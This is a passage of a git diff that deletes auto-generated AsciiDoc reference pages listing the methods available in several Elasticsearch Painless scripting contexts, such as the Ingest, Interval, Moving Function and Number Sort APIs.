-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-filter-org-elasticsearch-xpack-sql-expression-literal-geo"]
-=== Filter API for package org.elasticsearch.xpack.sql.expression.literal.geo
-See the <<painless-api-reference-filter, Filter API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-filter-GeoShape]]
-==== GeoShape
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-filter-org-elasticsearch-xpack-sql-expression-literal-interval"]
-=== Filter API for package org.elasticsearch.xpack.sql.expression.literal.interval
-See the <<painless-api-reference-filter, Filter API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-filter-IntervalDayTime]]
-==== IntervalDayTime
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-filter-IntervalYearMonth]]
-==== IntervalYearMonth
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-ingest/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-ingest/index.asciidoc
deleted file mode 100644
index 7b53fe84af6..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-ingest/index.asciidoc
+++ /dev/null
@@ -1,25 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-ingest]]
-=== Ingest API
-
-The following specialized API is available in the Ingest context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-ingest-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-ingest-String, String>>
-
-==== org.elasticsearch.ingest.common
-<<painless-api-reference-ingest-org-elasticsearch-ingest-common, Expand details for org.elasticsearch.ingest.common>>
-
-* <<painless-api-reference-ingest-Processors, Processors>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-ingest/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-ingest/packages.asciidoc
deleted file mode 100644
index dddb566afca..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-ingest/packages.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-ingest-java-lang"]
-=== Ingest API for package java.lang
-See the <<painless-api-reference-ingest, Ingest API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-ingest-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String sha1()
-* String sha256()
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-ingest-org-elasticsearch-ingest-common"]
-=== Ingest API for package org.elasticsearch.ingest.common
-See the <<painless-api-reference-ingest, Ingest API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-ingest-Processors]]
-==== Processors
-* static long bytes(String)
-* static Object json(Object)
-* static void json(Map, String)
-* static String lowercase(String)
-* static String uppercase(String)
-* static String urlDecode(String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-interval/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-interval/index.asciidoc
deleted file mode 100644
index a967992d786..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-interval/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-interval]]
-=== Interval API
-
-The following specialized API is available in the Interval context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-interval-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-interval-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-interval/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-interval/packages.asciidoc
deleted file mode 100644
index c33acf7a257..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-interval/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-interval-java-lang"]
-=== Interval API for package java.lang
-See the <<painless-api-reference-interval, Interval API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-interval-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-moving-function/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-moving-function/index.asciidoc
deleted file mode 100644
index ee7ebe2ed26..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-moving-function/index.asciidoc
+++ /dev/null
@@ -1,25 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-moving-function]]
-=== Moving Function API
-
-The following specialized API is available in the Moving Function context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-moving-function-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-moving-function-String, String>>
-
-==== org.elasticsearch.search.aggregations.pipeline
-<<painless-api-reference-moving-function-org-elasticsearch-search-aggregations-pipeline, Expand details for org.elasticsearch.search.aggregations.pipeline>>
-
-* <<painless-api-reference-moving-function-MovingFunctions, MovingFunctions>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-moving-function/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-moving-function/packages.asciidoc
deleted file mode 100644
index a30c9fc6935..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-moving-function/packages.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-moving-function-java-lang"]
-=== Moving Function API for package java.lang
-See the <<painless-api-reference-moving-function, Moving Function API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-moving-function-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-moving-function-org-elasticsearch-search-aggregations-pipeline"]
-=== Moving Function API for package org.elasticsearch.search.aggregations.pipeline
-See the <<painless-api-reference-moving-function, Moving Function API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-moving-function-MovingFunctions]]
-==== MovingFunctions
-* static double ewma(double[], double)
-* static double holt(double[], double, double)
-* static double holtWinters(double[], double, double, double, int, boolean)
-* static double linearWeightedAvg(double[])
-* static double max(double[])
-* static double min(double[])
-* static double stdDev(double[], double)
-* static double sum(double[])
-* static double unweightedAvg(double[])
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-number-sort/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-number-sort/index.asciidoc
deleted file mode 100644
index a91a6af5f84..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-number-sort/index.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-number-sort]]
-=== Number Sort API
-
-The following specialized API is available in the Number Sort context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-number-sort-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-number-sort-String, String>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.geo
-<<painless-api-reference-number-sort-org-elasticsearch-xpack-sql-expression-literal-geo, Expand details for org.elasticsearch.xpack.sql.expression.literal.geo>>
-
-* <<painless-api-reference-number-sort-GeoShape, GeoShape>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.interval
-<<painless-api-reference-number-sort-org-elasticsearch-xpack-sql-expression-literal-interval, Expand details for org.elasticsearch.xpack.sql.expression.literal.interval>>
-
-* <<painless-api-reference-number-sort-IntervalDayTime, IntervalDayTime>>
-* <<painless-api-reference-number-sort-IntervalYearMonth, IntervalYearMonth>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-number-sort/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-number-sort/packages.asciidoc
deleted file mode 100644
index 20157333a08..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-number-sort/packages.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-number-sort-java-lang"]
-=== Number Sort API for package java.lang
-See the <<painless-api-reference-number-sort, Number Sort API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-number-sort-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-number-sort-org-elasticsearch-xpack-sql-expression-literal-geo"]
-=== Number Sort API for package org.elasticsearch.xpack.sql.expression.literal.geo
-See the <<painless-api-reference-number-sort, Number Sort API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-number-sort-GeoShape]]
-==== GeoShape
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-number-sort-org-elasticsearch-xpack-sql-expression-literal-interval"]
-=== Number Sort API for package org.elasticsearch.xpack.sql.expression.literal.interval
